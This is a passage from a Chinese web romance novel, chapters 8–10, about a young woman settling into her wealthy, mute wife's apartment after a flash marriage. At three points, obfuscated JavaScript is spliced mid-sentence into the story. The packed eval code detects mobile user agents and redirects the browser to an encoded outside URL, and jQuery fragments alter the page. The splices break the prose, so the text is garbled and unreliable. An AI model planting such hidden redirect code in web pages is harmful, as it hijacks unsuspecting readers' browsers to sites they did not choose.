年弥之伸手想去捉她的手。她们今天几乎牵了一天,怎么到家了,卿兮翎又不牵了? 因为博拂远的事,卿兮翎不开心了? 年弥之更紧的追了上去,无视亮起的衣兜,努力探了好几下。 “姐姐……”在努力失败之后不得不开口。 她听见了自己嗓音里的颤抖。 卿兮翎肯定也听到了。她一下停顿在原地,回过头。 是好冷的一眼,虽然冷光只有一瞬。 年弥之头可怜兮兮的垂下去。 她没敢往前走了。 哪怕她意识到,可能卿兮翎希望她能更主动一点。更激烈一点。 可她性子就这样,有点温吞,不够坚硬…… 她低着头就看见自己的脚。 车库特有的阴冷潮湿覆盖了时刻环绕她们的昙花香。 年弥之闻不到喜欢的味道莫名委屈起来,她甚至往后退了一步,呼吸急促着。 若不是今天一天卿兮翎都对她这么好,她一定得赶紧逃开这个让她感到不安的地方了。 下一瞬视野里多了一双鞋。素黑的靴子踏着水泥地板,竟一点声音都没有发出。 年弥之来不及继续退,她的脸一下被一双手拍响。 真是好响一声。玻璃破碎一样,惊得年弥之不自觉抬头。 对上那双宝石眼眸时,她的视线跟她的脸一样被旋转蹂.躏成花。 卿兮翎开始使劲揉搓妻子的脸。 年弥之呜呜咽咽着把眼泪沾在卿兮翎手背上。 昙花的幽香再次顺着卿兮翎的手腕袭来,香味被她的泪溶解,顺服的贴上她的脸,渗透。 被揉得发晕,年弥之在原地头脑转圈。 她注意到卿兮翎伸手从她衣兜里把不断发亮的手机拿出来也没有别的动作。 年弥之都没思考出来卿兮翎在做什么。 直到卿兮翎勾着她下巴把她拉低,要她看手机。 那个不断给她发消息让她手机发亮的人,被卿兮翎拉黑了。 年弥之呆呆的发出一声无意义的“啊”。 8. 第 8 章 就连下巴上被触碰的火辣疼痒,也短暂消失了。 年弥之看着那不起眼的拉黑键,被按下后的红色在她眼中慢慢放大,直到占据她整个眼眶。 她眨眼,拉黑键如气球般爆炸,戳红年弥之的双眼。 叫她情不自禁流下一行泪。 她的眼泪是有点多了。也许是她和卿兮翎一开始见面,卿兮翎就见过她哭泣的模样。到现在年弥之也不想再忍耐,任这行泪肆意往下滚落。 一行还不够。泪腺决堤似的,一串一串的泪珠掉的根本停不下来。 年弥之吸着鼻子眼眶模糊。她干脆轻轻闭上眼。 她想她早就想这么做了。 早就想把博拂远这个大麻烦拉黑,早就不想管他了。 曼城那么大那么繁华。可离家又那么远,那么孤寂。 她有太多的事要做,她也想周末和朋友去法拉盛,LongIsland之类的地方玩。 尤明秋邀请她十次,她最多两次有空,其中一次还有可能玩到一半被喊回去帮博拂远做这儿做那儿。 她说过很多次她又不是博拂远的保姆。她家之前也给博拂远请了一个照顾他的阿姨。 可博拂远不听阿姨管教,他就听年弥之的。所以只能是年弥之去管他。 小时候就是这样。年尚旗对博拂远的态度稍微有些微妙,爱好像很浓,可是偶尔年弥之能感觉到一丝很奇异的负面情绪。 年弥之以为自己感觉错了,年尚旗可能只是厌烦看孩子的过程。她太唠叨太爱操心,博拂远最讨厌听她讲话。 博勤对博拂远哪里有管教的意思,近乎溺爱,随便他做事,说天塌了也有爹给他兜底。 博拂远犯了错,家里能罚他管他的人就只剩了比他大两岁的姐姐。 年弥之记得自己有那么一两年沉浸于这种隐晦的权力。妈妈爸爸打不得的男儿,她能在他犯错的时候随便抽。 是什么时候开始,她不再觉得这是一种权力,而是负担呢? 年弥之找不到那一个时刻。 但她知道,方才卿兮翎帮她回消息的时候她没有拒绝没有尴尬,更没有被冒犯的愤怒。正常人被旁人抢了手机去回消息,哪怕是伴侣,也会有点不开心吧? 年弥之没有。 她才想明白,她大概一直在等。 在期待能有一个像卿兮翎这样和她足够亲近却又不熟悉她情况,足够坚硬却又对她有一分柔情的人,能帮她怼博拂远几句。 尤明秋不会做这种事。她自己家里也有一堆乱七八糟的亲戚,她更多是和年弥之一起吐槽,两个人大一的时候手拉手在时代广场那边的高楼下坐着,一口冰淇淋一口吐槽的。 辜安砚更不会做这种事了。她们认识太久,她太习惯年弥之的隐忍,大概会心疼她,却不会这么越界。 卿兮翎和她们都不一样。 年弥之好像才理解到妻子的特殊,余光对上卿兮翎一直凝望着她的蓝眸,她急匆匆低下头,耳根慢慢泛起一层薄红。 眼泪还在跌落呢。年弥之总觉得自己这会儿挺难看的。 再早一点她哭的时候应该也不好看吧?卿兮翎会怎么想她呢? 转瞬年弥之的下巴就被一只手捏住。第一下很重,捏得年弥之不由自主的发出一声哼唧。 而后卿兮翎收了力气,柔柔的带着她抬头。 对上沉静清淡的蓝宝石,年弥之恍惚间以为,卿兮翎只是不想看见她低头。 在她的丑陋卑劣懦弱里,卿兮翎只是不想看见她低头一个人哭泣的模样。 “姐姐……”年弥之没再往后退了。 她真的可以把卿兮翎当作姐姐吗? 这么好的人,以后也会这么照顾她,安慰她,帮助她吗? 卿兮翎好像比她当姐姐的时候做的更好。 不知道为什么,今晚她的心跳一直这么快,都把脸和耳根烧热了。 卿兮翎似乎是叹息了一声。很轻的声音,落在年弥之耳朵跟挠痒似的。 年弥之一个激灵。头发又被那只手揉过。 卿兮翎的手不算很大。和她人一样,小巧精致。落在头顶却又那么的稳。 年弥之嘴瘪瘪的包着说不出的委屈,享受着这一刻的温情。 卿兮翎没摸太久,她牵上年弥之的手带她向上走。 离开车库之前,年弥之回过头看了一眼。 她本来以为私人车库应该停不了几辆车,没想到车库都停满了,跟卖车行似的,称得上琳琅满目。 这些车不会都是卿兮翎的吧…… 年弥之有点恍惚,步子也碎了,小朋友一样亦步亦趋的跟着卿兮翎上了电梯。 卿兮翎按了26楼。年弥之慢慢呼出一口气。没了车库的阴冷味道,昙花香再次弥漫,一呼吸的时间里就将逼仄的电梯间充盈。 牵着的手好热啊。年弥之分不清是碰着的掌心导致升温,还是她自己太燥热。 眼泪流的差不多了。年弥之抬起手想用袖子擦脸。 她大概不好意思,还别过头想躲着卿兮翎,动作幅度也很小。 刚眨眼,视线里就多了一只手帕。 绣着粉色兔子的花纹,整体是清雅的淡蓝色。边缘缝线稍微有些粗糙,大概是谁的手工制品。 手帕贴近,年弥之就嗅到浓浓的昙花香。 该不会卿兮翎一直是靠这手帕来补充身上的香水味吧?年弥之半是玩笑的想。 她摇头拒绝了妻子的好意。哪怕这手帕看起来不贵重,带了点没修理干净的线头。她也不想把它弄脏了。 卿兮翎却跺了几下脚,直接走到她面前,捏着她脸颊逼迫她看着她,而后不由分说的给她擦脸。 她好强势哦。 年弥之想起自己最开始对卿兮翎的印象,有些想笑。 这哪里是乖顺软糯的兔子……不过说是兔子倒也没错,毕竟兔子这个生物本来脾气就很大,很有自己的想法,绝不服从。 年弥之却可以肯定自己不讨厌这份强势。 因为,卿兮翎擦拭的动作很温柔。 带了点意外的笨拙。却没有弄疼年弥之一瞬。她轻柔的攒过年弥之的眼角,真的像她的姐姐。 “谢谢……”年弥之垂了睫毛,让手帕把她睫毛上凝结的泪也弄干净。她顺带着,很小心的。自以为隐蔽的。 贴上卿兮翎的掌心。 她装作是卿兮翎动作不小心,摸到她脸蛋了。 脸颊刚刚好契合手掌的弧度。这让年弥之多了一点留恋。 卿兮翎不知是没察觉到,还是不想戳穿。 她任年弥之在手掌躺了一会儿,才结束擦拭的动作。 然后……年弥之被卿兮翎揪了好几下脸蛋。就像刚刚的蹂.躏。 所以卿兮翎一定看出来她刚刚的贴近了吧!年弥之捂着脸颊羞着侧过头,有点恼。 可再有机会,她肯定还会贴上卿兮翎的手。 这种感觉和今夜持续 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17556943|204465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走高的心跳一样,好陌生。 但是年弥之讨厌不起来。 可能是因为,带给她这些体验的人是卿兮翎。她现在的合法妻子。 她是特别的。 *** 这栋楼是一梯一户的。年弥之都不用怕自己找不到房间。 被牵着走向门口,年弥之还有点呆呆的,思绪还停留在电梯里的一幕幕,还有车库的、车上的…… 卿兮翎却在开门之前停了下来。 她拿出还没还给年弥之的手机,翻到年尚旗和博勤的电话页面,还有她俩的微信界面。 然后指着那个拉黑键,意思很明显。 年弥之略感惊讶。卿兮翎是在威胁她?不拉黑就不许她进门? 年弥之指了下家门。 卿兮翎没动作也没去打字解释,就这么静默的望着她。 眼里一颗情绪的光子都没有。年弥之都无法从她的神情判断出她的想法。 “……对不起,姐姐。”年弥之摇头轻声道。 她也不是坚持,也不是舍不得……就当她软弱吧。 “她们到底是我的母父,养育我……”对上卿兮翎不太妙的眼神,年弥之急忙改口。 自己不仅软弱,还很怂呢。年弥之暗自吐槽,差点咬到舌头:“我是说,拉黑她俩会有很大的麻烦,她们可能会直接飞过来骂我,我有点怕。” 年弥之说着说着总感觉自己忘了什么事。好像是刚刚博拂远在那儿嚷嚷骚扰她的时候发的消息,又好像是她白天不经意扫过一眼看见的。 卿兮翎把手机拿了回去盯着年弥之给两个人的备注看了会儿。 年弥之感觉金毛兔子眉眼都有点蔫巴了。 也许是她错觉,她看卿兮翎的头发也不如她们领证那会儿有光泽。 “我错了。”年弥之很丝滑的道了歉。 卿兮翎抬起眼看向她,表情就跟吃了酸东西一样,扭了一下。 卿兮翎到底是刷了虹膜,把门打开。 有钱人的平层公寓是什么样?年弥之按着鼓鼓的心跳迈进家门,呼吸都快要静止。 玄关的地面是一整片浅橡木鱼骨地板,纹路淡得像被水洗过,脚步落上去轻而闷,不会有什么噪音。 整个客厅大到堪比年弥之小时候的整个家,电器家具的色调统一清新,奶油似的沙发看着柔软,皮革水润出贵重。就连灯罩都是手工绷出来的羊皮纸。 站在这个角度还能看见客餐厅,疑似玉石铺成的地板与客厅分割,一路延到厨房。 长餐桌是深胡桃木的,上摆了一只低口瓷器花瓶,里面插的花都不是当季的,有惊艳的芍药和羞涩的铃兰,年弥之甚至看见几枝黑色郁金香。 另一侧走廊安静地往更深处延伸,稍眨眼,年弥之甚至看不到走廊尽头。 这房子,起码三百多平米吧? 年弥之哽咽了一下。她太低估卿兮翎的财力了。 代换到国内的话,大概是闪婚之后发现妻子在陆家嘴中心有一个私人车库和一个几百平米的大公寓。 难怪能说出“钱不是问题” ……她该不会闪婚到某个豪门的继承人了吧? 年弥之心里还在跑火车。手肘又被卿兮翎戳了一下。 她以为卿兮翎是要她换鞋,刚准备动作。 就看见卿兮翎拿着她手机还给她。 屏幕上是刚改好的拍一拍。 ——你拍了拍小妻子然后被她亲了一口 9. 第 9 章 ——你拍了拍小妻子然后被她亲了一口 年弥之有些难以相信自己看见的句子,又通读了一遍,耳根慢慢烧上绯色。 一句话带着年弥之梦回昨夜。好像她喉头又一次灌满一杯清晨,呛辣的味道混着白兰地的甜腻。 和卿兮翎接吻的滋味反上嘴唇。那柔柔甜甜的感官只用了一瞬就淹没年弥之神魂。 只是看着一句话年弥之就想了这么多。 她甚至无法承认这是某种带有期待的幻想,只当自己是没休息好,思路过于跳脱。 年弥之急忙摇着头,正准备严词拒绝卿兮翎改的这个拍一拍。 也太羞人了,年弥之不敢想今后看见这个拍一拍,她会是什么感觉。 要是每一次都会回忆起她们的吻,她怕她在课上或者学校里直接烧起来。 她的妖精小姐大概是觉得她半天没有动作有些失礼,嘴都瘪了,眼包着水盯着她谴责,手掌很不留情面的拍了拍她的肩膀。 年弥之头脑的粉色浆糊被一下拍散不少。 她凝神对上卿兮翎的眼,没弄明白她拍自己做什么。 她只是看着卿兮翎的眼又情不自禁看向卿兮翎的唇。 总觉得那唇水润又浅红,有樱桃的光泽,是正时候接吻的柔软。 总不能卿兮翎拍她,是想把改的那条拍一拍化作现实吧? “这个、这个不可以的。”年弥之心随着想法揪痛了一瞬,紧接着开始猛猛加速鼓动。 听着年弥之的拒绝,卿兮翎肉眼可见的不开心起来。 她头发做的尾巴随着她的呼吸甩了起来,打着风抒发她的不快。 蓝眼也没了宝石般的光泽,她眼仁深眼瞳浅,无光之时整颗眼看起来有些深邃的瘆人,像拽着人坠入的陷阱。 年弥之被她闪了一下,急急忙忙拿过手机,往通讯录末尾翻,给卿兮翎解释:“我有两千多个好友……” 不看数字,年弥之都不知道自己有这么多好友,两千五百多个,等她念完本科,可能得接近三千了。 “要是她们找我的时候也拍拍我,看见这种句子……”后面的话应该不需要年弥之再说。 就算不说那个亲一口,就是“小妻子”这个称呼也很羞人啊! 卿兮翎确实没再强求,手都垂落了下去,眉眼也跟着一起坍塌。 头发甩得可怜兮兮,散发出些没有光泽的寂寞感。 年弥之看着她低落的眼,垂成羽毛状的金棕色睫毛,多少有些不是滋味,本就揪着的心更疼了。 她想也没想,一下捧住了卿兮翎落下的手,举在自己眼前,还对上卿兮翎随之挑起的蓝眸,她跟宣誓一样郑重道:“我给你开了特别关心的,今天是特殊情况。以后肯定不会再忘记回你消息。” 卿兮翎面色未变。年弥之却注意到她金色辫子甩动的弧度减弱了。 应该是心情好了一点吧?年弥之稍稍握紧捧着的手,摆出柔和的笑脸,想让自己看起来更真诚些。 下一瞬卿兮翎却忽然反握住年弥之的手,用上些力气捏住。 她动作刚刚好让食指上的戒指对准了年弥之。是低头嘴唇恰好可以碰到的位置。 年弥之的肩膀又被神神秘秘的拍了一下。 年弥之盯着戒指上夺目的火彩一眼,抬眸看见卿兮翎眼底些微的戏谑。 这才得以确定。卿兮翎拍她,真是想把改的那句拍一拍变成现实。 卿兮翎在向她讨吻。 也许是想要一份回报,毕竟下午她才吻了她的嘴角。 也许只是一时兴起,想看看新婚妻子到底是什么脾气。 年弥之心里有一瞬的慌乱。猜测太多,她不知道该信哪一种。 可真正低头时,她才意识到她的心早就替她做出选择。 她希望卿兮翎认可了她们登记前的那句话。 她希望她们可以是真的妻妻。 年弥之吻上卿兮翎食指的那枚戒指。 …… 大概卿兮翎吻嘴角用了多久,年弥之吻戒指就停了多久。 只是蜻蜓点水般的浅吻。 年弥之很快就起身,把不自觉背在身后的手放下,又松开捧着的动作。 “谢谢你,姐姐。”她看着自己空荡荡的手掌被卿兮翎主动牵过去,眼情不自禁的弯了,像撒娇叫出声的猫一样,眼皮遮了半边眼。 卿兮翎被她一句话戳到腰似的,步子莫名快了点。 年弥之提速跟上,望着卿兮翎飞在身后的尾巴长辫,莫名在思考她会不会走路时踩到头发。 以及,她婚后是不是该学一学理发梳头扎辫子。 年弥之自己的头发向来打理的随意,在出国两年掉了1/2的厚度之后更是破罐子破摔,发膜都不用了。 她只有每年回国会去做护理、修剪长度。暑假才剪短,这会儿刚刚到肩胛骨的中间。 这是年弥之觉得最方便的长度,洗起来不烦,也很好扎辫子,偶尔散开,她自带的微卷也能让她看起来知性、清隽。 而卿兮翎这一头瀑布似的长发很明显需要特别的打理方法。真不知道她怎么有耐心养到这么长的。 看着那甩呀甩就跟外化心情的辫子,年弥之又觉得可爱。 她之前还担心卿兮翎不会说话,她们沟通会有困难。现在倒好,她可以看她头发来判断情绪了。 走了五分钟年弥之才意识到不对。 她已经进卿兮翎的家门了。从客厅到客房要走这么久?! 那卿兮翎的家到底有多大?绝对不是年弥之以为的三百多平米。 年弥之后知后觉的抬起头,余光一路看见了健身房,台球室,电影厅……甚至还有KTV和酒吧?刚刚路过的那个有水池的房间是游泳还是做理疗的地方? 年弥之恍惚的停在了自己的次卧前。她第一次觉得她家破产前其实也不是很有钱。 打开次卧年弥之又被惊了一跳。 她可以肯定这个次卧的面积跟进门时的客厅差不多大。八九十平肯定是有了。往具象化说,就是大概能塞一打年弥之来住吧。 “这是我的房间?”年弥之都觉得自己有点找不到声音了。 她飘忽忽的,生怕这里其实是主卧,卿兮翎想要她们今晚同床共枕。 卿兮翎正在打字,闻言,捏了下年弥之的手以示认可她的话。 【事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17556944|204465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情比较突然,我只来得及让人把房间收拾出来,没来得及仔细装点。给你的睡衣放在床上了,洗漱用品都在浴室里。你要是想泡澡的话,也有玫瑰花露和精油,不会用可以喊我】 要交代的事多,卿兮翎分了好几次打,打完就给贴着她都快迷糊成梦人的年弥之看。 【今晚只能将就了。你的东西可以慢慢搬过来,我明天会让人跟你一起去出租屋搬。或者你想置办新的?你空了我可以陪你去买】 【随意一点就好,这里以后就是你的房间、你的家了。有问题随时给我发消息,我不会不回的】 最后一句还带了点内涵的意思。 年弥之咬着嘴巴呜呜像小狗一样,看完了卿兮翎的话。 “姐姐,你真好……”都来不及对卿兮翎的咬牙切齿有反应,年弥之只想抱着她认她当亲姐。 卿兮翎看着她泪汪汪的眼,哼一声甩了腰。长辫子啪一声打在她腿上,缠住她的腿根。 【七点半来吃晚饭。你先洗漱休息】 给年弥之看完最后一句话,卿兮翎抓住辫子尾端把它收回来,颇为嫌弃似的拎着那大花蝴蝶结,头也没回的离开了年弥之。 还很“贴心”的把房间门给年弥之关上了。 年弥之捂着被头发拍红的腿,迷迷糊糊的坐上了比kingsize还大的床,一个没支撑住,身子向后倒,整个人塌陷下去。 床很软,比早上临时休息的总统套房的床还夸张。还不是那种没有营养,轻浮的软,反而很有韧性。床垫一定很贵,质量相当高昂。 年弥之躺下就觉得自己被吸了进去,困意顿时席卷四肢。 她没忍住在床单上来回翻了几圈,又猛得弹了起来。 她才想起卿兮翎离开时的异样。 她又惹她家小公主不开心啦? 也不知道是因为什么……她的妻子真的是金色绒毛小兔子,同样长得很萌,脸蛋很冷,喜欢摇尾巴跺脚,脾气古怪一碰就坏。 年弥之想到这儿,又把下午拿的license拿出来仔细翻看。 确认过她和卿兮翎真的是妻妻以后,她才勉强放松回落。 这么了不起的人,她没法假装清高着说不感兴趣,不喜欢。 她……只想牢牢把她抓住。 待会儿出去跟姐姐怎么道歉呢? 年弥之在房间里胡思乱想着。 门口,卿兮翎关上门之后没有及时离开。 她背靠着厚重的隔音门,听不见年弥之的动静,却万般不舍似的,腻了好久才从门上挪了一步。 她抬起手看向自己被吻过的戒指。 她知道年弥之不是贵族,不是老钱后裔,年弥之甚至不是欧美人。 理所当然的,年弥之不会懂那些被奉为常识的礼仪。 可卿兮翎依旧忍不住悸动。 只有骑士向她的公主效忠,才会亲吻食指的戒指。 这枚雅净、纯洁的象征。 ……她还是不要当她的骑士比较好。 她应该是她的妻子。 她的小妻子。 卿兮翎垂着眼眸,将嘴唇覆盖在年弥之放在亲吻的位置上。 10. 第 10 章 一直到主石因为温度升高而多了几分耀眼的火彩,卿兮翎才将唇瓣挪开。 口腔残留着些甘露似的甜味。 卿兮翎忍不住舔过嘴角,没能再吃到喜欢的味道,她多少有些不饱足。 戒指已经被她清理的很干净了。当然,年弥之也并没有把它弄脏过。 卿兮翎卷走的更多是气味,和某种只有她能识别出的感官。 也不知道年弥之身上擦的香粉是什么。 薄薄一层,旁人可能看不出来,但卿兮翎看得很清楚。 粉白色的香粉把年弥之脸蛋覆盖了,让她有时的羞红变得没那么明显,这时卿兮翎会看向她藏不住事的耳朵。 整体味道很甜。是荔枝、青提的那种多汁清甜感,不腻。 相当好吃。 卿兮翎觉着浅尝辄止这种词不会出现在她字典里。她不过尝了一次…… 就想要更多地、彻底地。 吃掉她。 *** 年弥之花了平时两倍的时间,很放松的冲了个热水澡。 也不怪她沉溺,她觉得有钱人家的水都和她的公寓不一样,用起来更软更舒服,像牛奶,冲在身上没有那种干涩感。 年弥之公寓的水挺脏的,哪怕她接了滤水器,还会用滤水壶再过滤一次,烧开再喝,花洒也连了滤水器。 两年下来她头发还是脱了一半,每次洗头都一把一把的掉。 今天倒是不一样,她就清理下来几根,都卷好丢进了垃圾桶。 等她简单吹干头发趴在床上,两眼一闭差点就要睡过去。手机屏幕忽然亮了。 年弥之担心是卿兮翎找她,撩起眼皮看了一眼,而后弹起来。 还好找她的人不是她母父弟弟。 发来消息的人是辜安砚,可这条消息…… 年弥之最担心的事发生了! 辜安砚拍了她好几下,还把新的拍一拍截了图,发给她,附带一串十分震惊的表情包。 【砚砚宝:ber!你怎么把拍一拍换了????】 【这个新的拍一拍何意味!】 【你有新龟龟了?!?】 年弥之倒吸一口气。她刚刚竟然忘了删卿兮翎给她改的拍一拍,就这么保存了。 还就这么巧合的被她前拍一拍所属对象发现了! 年弥之急急忙忙赶去修改拍一拍。她实在想不出来有什么更亲近的可以改,干脆用了最开始那一版:你拍了拍之之,她正在忙,稍后回 她刚改完没一秒,辜安砚的微信电话就这么砸了过来。 年弥之多少有些心虚,在接听之前还快速赶到她和辜安砚的聊天框,把之前借的两千块还给了辜安砚。 顺便在按下接听之后把那五百刀也还给了尤明秋。 在她还钱的过程里,辜安砚已经对她开启咆哮状态了。 “年、弥、之!!” 年弥之把听筒拿远了一点。 “你上线不回复我就去改拍一拍你是不是心虚有新闺蜜不爱我了?” 辜安砚跟吟唱咒语似的把一句话唱完,然后刻意又急促的对着听筒吐息,以此给年弥之上压力。 “不是!你听我解释……”年弥之高调配合了两个字,忽然心虚下去。 她今天说这句话的次数有多太多了吧?她寻思她平时为人处世还是很好的,不是很渣啊。 “等一下!”辜安砚看着年弥之的视频背景,打断年弥之本就有些虚弱的解释。 “这个背景……这个房间,这吊灯这床这电视……”辜安砚一只眼睛贴上镜头,开始仔细观察年弥之所在的背景。 年弥之这会儿想关视频都来不及了。况且她本来也没打算跟辜安砚隐瞒她结婚的事。 尤明秋都知道了,她不告诉辜安砚,岂不是不公平? 她只是没打算这么突然的说…… 而辜安砚已经在凝视中惊跳起来,指着年弥之怪叫道:“你家没问题了?你跟朋友在外面旅游?” 这里肯定不是年弥之平时住的那间公寓。辜安砚见过那个公寓,哪怕被年弥之改造的很温馨,也不会这么的贵气。 年弥之嘴撇着,暂时没有回答她的话。 这沉默被辜安砚误解了,她眼角忽然抽了下,压低声音:“之咪,你别想不开啊,男人没一个好东西。实在不行你回来投奔我吧!我可以卖烧饼养你!” “是女人。”年弥之很快速的解释了一句。 这完全是本能反应,说完她也觉得不太对劲,和视频对面的辜安砚大眼瞪小眼,一起陷入了沉默。 “……就,嗯。我闪了个婚,今天刚结的,不是不想告诉你,真是还没来得及。”年弥之越说额角的汗越多,背后都开始发凉了。 屏幕对面的好闺蜜子震撼的歪着头,嘴角也没有笑意了,眼睛也失去了光泽,就这么呆呆的看着她。 “真是女人,是漂亮富婆姐姐,人很好特别可爱,有机会介绍你们认识一下。拍一拍是她改的。”话都说了,总不可能不说完。 年弥之一口气把自己的情况都报备了,破罐子破摔中。 她闭着眼睛说完,再睁眼,辜安砚已经挂断视频电话了。 年弥之试探着给她发去一个滑跪的表情包,很好,还没有被拉黑。 年弥之松了口气。 时间也来到七点二十五,她干脆把手机收了,准备出门去找新婚妻子吃晚饭。 打开房间门就看见一撮金灿灿的影子。 卿兮翎竟然已经在门口等着了。 “姐姐,久等了。”年弥之换上乖巧,老实巴交的贴上卿兮翎的肩膀,在距离她身体还有几厘米的地方停下,刚刚好是能说悄悄话却又不触碰对方的距离。 卿兮翎回过头,蓝晶晶的眼睛落在她们那一点缝隙上,稍作停顿。 她翘着睫毛眼眸上挑,对上年弥之温和的黑眼。 而后将就着视线的拉近,她肩膀往后一碰,蹭上年弥之贴过来的身体。 年弥之一下冒出绯红色。很明显,从脖颈钻到脸颊。她嘴也微微张开,瞳孔也有些收缩。 可她没有躲开。反而好像被吸住的磁铁一般,卿兮翎想走,她还跟她扭了两下,多贴了贴。 卿兮翎满足的牵上年弥之的手,轻晃着带她去客厅吃饭。 年弥之低着头看着相牵的手几秒,随后咽下羞红,跟上卿兮翎的速度,还跟她问话。 “姐姐,我们之后是在这边常住吗?我饭后可以参观一下房间吗?” 卿兮翎大概注意到了她狡猾的“我们”,没有戳破,只是余光一闪而过。 年弥之也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17556945|204465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拿不准卿兮翎究竟是觉得她在自作聪明,还是有些欣赏。 她只知道她的手又被捏了一把。这是卿兮翎在同意她的话。 *** 坐上胡桃木的餐桌椅,年弥之像小朋友一样摸了这丝滑如水的木头好几下。 这饭大概是卿兮翎家的厨师做的,很精致,有点像分餐制,一共十二道菜,绝大部分是中式,还包括了例汤和甜点,每道菜量都不大,合起来刚刚好是她们两个人的量。 年弥之看着蓝白色的筷子和餐具,忍不住思考这东西会不会是某种古董。 转念又觉得应该不会有人拿古董吃饭,奢侈与否另谈,古董用起来应该既不方便也不卫生。 餐桌上很安静。年弥之小心翼翼的夹了一块东星斑放进嘴里,差点被好吃的味道弄得乱踢空气。 不愧是大厨做的菜,这是她在博勤之前带她去的宴会上才吃到过的水准。甚至比那还高一点,火候和调料恰到好处,用的食材品得出高级。 年弥之本想暴风吸入,正准备把勺子塞进嘴里,余光看见对面的卿兮翎优雅的动作,年弥之不得不放下大勺,小了动作。 中午都没仔细注意。卿兮翎的吃相十分优雅。 她本身无法说话,相当安静。此刻身上更是多了一种淡泊宁静的气质,配上面前的食材,竟带来些岁月静好的味道。 卿兮翎单是拿着勺坐在那儿,都足够叫年弥之把她装入画框,变成贴在皇宫里的艺术品了。 她一定有训练过礼仪。每一口都小巧、漂亮。 动作弧度像随意泼洒的阳光又像精雕细琢的玉,有那么一两个瞬间,年弥之差点以为自己看见了一位古典皇家的公主。 可也许是面对年弥之,卿兮翎比较放松。年弥之能看见那双蓝眼不被压抑的散漫、天真。 也能注意到卿兮翎那跟藏食仓鼠一样包着食物的腮帮子,和小兔一样喏喏咀嚼的嘴唇。 有时卿兮翎吃到比较筋道的一口,还会停下来,一边发呆一边动牙齿。 嘴唇紧闭,因为吃到热腾腾的食物变得红红的,又带上苹果的那种蜡光,怪诱人的。 年弥之吃一口就用余光盯着卿兮翎观察。 她甚至还看见她家小公主因为吃到喜欢的食物,头发一瞬镀上一层彩光,一甩一甩的欢快成尾巴。 这真是垂耳兔啊。 呆懵懵的可爱。长发就跟兔子耳朵一样贴在身后,扎起来的小揪揪可以是兔子毛茸茸的尾巴。 年弥之不自觉想起小时候养过的宠物,在卿兮翎投过来注视前,急忙低下头掩饰眼里的笑意,快速扒起饭来。 只是卿兮翎没有被她糊弄过去。 卿兮翎放下了餐具,手撑着桌子歪过头,想来捕捉年弥之的眼神。 她好奇心相当重,这让她的非人感又多一点,兽性的好奇和人类的总不太一样。 年弥之又羞又急,躲了两下没躲开,干脆把盘子里的脆皮乳鸽叉起来,递给卿兮翎。 根据她刚刚的观察,卿兮翎应该相当喜欢吃这道菜,眼睛都能微微弯起来,睫毛更是闪成金色小蝴蝶。 卿兮翎盯着乳鸽瞅了一秒。 年弥之正准备把它放在妻子的餐盘里。 卿兮翎落回位置上,低头。 一口咬住年弥之的叉子。